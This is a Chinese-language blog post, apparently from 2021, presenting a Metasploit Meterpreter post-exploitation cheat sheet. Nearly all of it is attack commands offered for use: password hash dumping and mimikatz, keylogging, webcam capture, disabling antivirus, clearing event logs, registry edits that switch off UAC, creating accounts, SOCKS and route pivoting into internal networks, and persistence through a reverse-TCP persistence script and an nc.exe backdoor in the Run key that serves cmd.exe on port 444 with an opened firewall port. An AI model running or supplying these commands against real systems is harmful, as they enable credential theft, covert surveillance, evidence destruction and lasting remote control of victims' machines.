Meterpreter后渗透

到了后渗透阶段做的事情差不多也是下面几件

  • 提权

  • 信息收集

  • 内网横向渗透

  • 植入后门

这里就介绍一下MSF后渗透的常用命令

常用命令

sysinfo                                             #查看目标主机系统信息
run scraper #查看目标主机详细信息 在此目录/root/.msf4/logs/scripts/scraper
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
getpid #查看当前Meterpreter Shell的进程PID
getuid #查看当前用户
getsystem #获取system权限
migrate 123 #迁移进程
idletime #查看主机运行时间
run killav #关闭杀毒软件
screenshot #截图[清晰一点]
screengrab #截图[模糊一点]
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute -f xx #执行可执行程序 //具体参数百度即可
run getgui -u x -p x #创建用户
keyscan_start #开启键盘记录
keyscan_dump #显示捕捉到的键盘记录
keyscan_stop #停止键盘记录
download c:\test.txt /root #将目标机的c:\test.txt文件下载到/root目录下
upload /root/test.txt c:\test #将/root/test.txt上传到目标机的 c:\test\ 目录
clearev #清除windows中的应用程序日志、系统日志、安全日志

Post模块

run post/windows/gather/forensics/enum_drives               #获取目标分区情况
run post/windows/gather/checkvm #检测是否是虚拟机
run post/windows/gather/enum_applications #获取当前安装的应用程序
run post/windows/gather/enum_logged_on_users #获取用户登录信息
run post/multi/recon/local_exploit_suggester #获取存在的提权漏洞
run post/multi/gather/env #获取环境变量
run post/windows/gather/enum_services #查看开启的服务
run post/windows/manage/migrate #自动进程迁移
run post/windows/manage/killav #关闭杀毒软件
run post/windows/gather/arp_scanner #arp嗅探存活主机
run post/windows/gather/smart_hashdump #dump hash
run post/windows/manage/delete_user USERNAME=xx #删除账号
run post/windows/manage/enable_rdp USERNAME=x PASSWORD=x #添加账号
run post/windows/gather/credentials/credential_collector #dump hash and token

提权

当我们获得了一个meterpreter,首先得是提权。

  • load priv[有时候需要]

  • getsystem

getsystem原理请查看getsystem原理 当我们出现priv_elevate_getsystem: Operation failed: Access is denied说明是有UAC的限制 请移步Bypass UAC查看。当然我们也可以shell关闭但是是需要重启对方机器的。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

image.png 有时候我们getsystem并不会成功,这时候需要migrate迁移进程再次尝试即可。其他的提权方式请查看Windows权限提升

Socks代理

msf中有三个代理模块,分别是socks4a、socks5、socks_unc一般我们使用socks4a 和 socks5 进行代理。 首先我们使用代理前,我们需要让MSF可以抵达内网服务因为这里 socks 模块只是将代理设置为监听的端口 (默认是 1080),即通过 proxychains 的流量都转给本地的 1080 端口,又因为这是 MSF 起的监听端口,所以通过代理走的流量也都能到达内网。

添加路由

route add 0.0.0.0 0.0.0.0 1   //1代表的是session

当然也可以使用下面命令

run autoroute -s ip段     //添加路由表

输入route print可以查看路由信息

搭建代理

在msf6以后就没有两个分开了是合并在一起,并且6以下经常监听不到。建议用6吧 这里还是以6以以下说明

socks4a

use auxiliary/server/socks4a
set SRVHOST 0.0.0.0
set SRVPORT 1080
run

socks5

use auxiliary/server/socks5
set SRVHOST 0.0.0.0
set SRVPORT 1080
run

首先修改 /etc/proxychains.conf 文件然后下面配置一下就行。 然后执行命令前proxychains 或者使用proxychains4 [前提安装]

端口转发

portfwd是meterpreter提供的基本端口转发,它可以反弹单个端口到本地

portfwd add -l 3389 -r 1.1.1.3 -p 3389

持续后门

因为meterprer是基于DLL建立的连接,所以只要目标关机我们连接就断开了。 建立持续后门的方法有很多。这里就举一个例子

启动项

制作一个后门放在windows启动目录中

//该用户的启动目录  注意里面的@@@@是用户名
C:\Users\@@@@\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
//所有用户启动目录
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Persistence

这个再meterpreter6已经弃用。 参数说明

OPTIONS:

-A 自动启动一个匹配的exploit / multi / handler来连接到代理
-L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P 有效负载使用,默认为windows / meterpreter / reverse_tcp。
-S 作为服务自动启动代理程序(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统引导时自动启动代理程序
-h 这个帮助菜单
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口
-r 运行Metasploit监听连接的系统的IP

所以我们只需要

run persistence -S -U -X -i 5 -p 6666 -r 1.1.1.5

image.png 他就会在我们的目标机建立一个文件,并把该服务加入注册表。开机就会启动。当然是需要system权限 上面也是报了一个错,我们尝试重启监听发现也是没问题的。 image.png

NC建立后门

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\Run - v nc //查询是否加入到注册表了

image.png 重启开机直接nc连接 image.png 当然上面前提是需要关闭防火墙,我们也可以使用隐蔽的方式启动。 这里再介绍一下execute

execute -f cmd -i -H //执行cmd -H是隐蔽运行 -i是交互 这里用shell和这个还是有区别的 各位可以自己测试

netsh firewall show opmode//检查是否开启防火墙 netsh firewall add portopening TCP 444 "这个名字自己看着随便来" ENABLE ALL //添加策略

 

posted @ 2021-02-05 13:55  R0ser1  阅读(298)  评论(0编辑  收藏  举报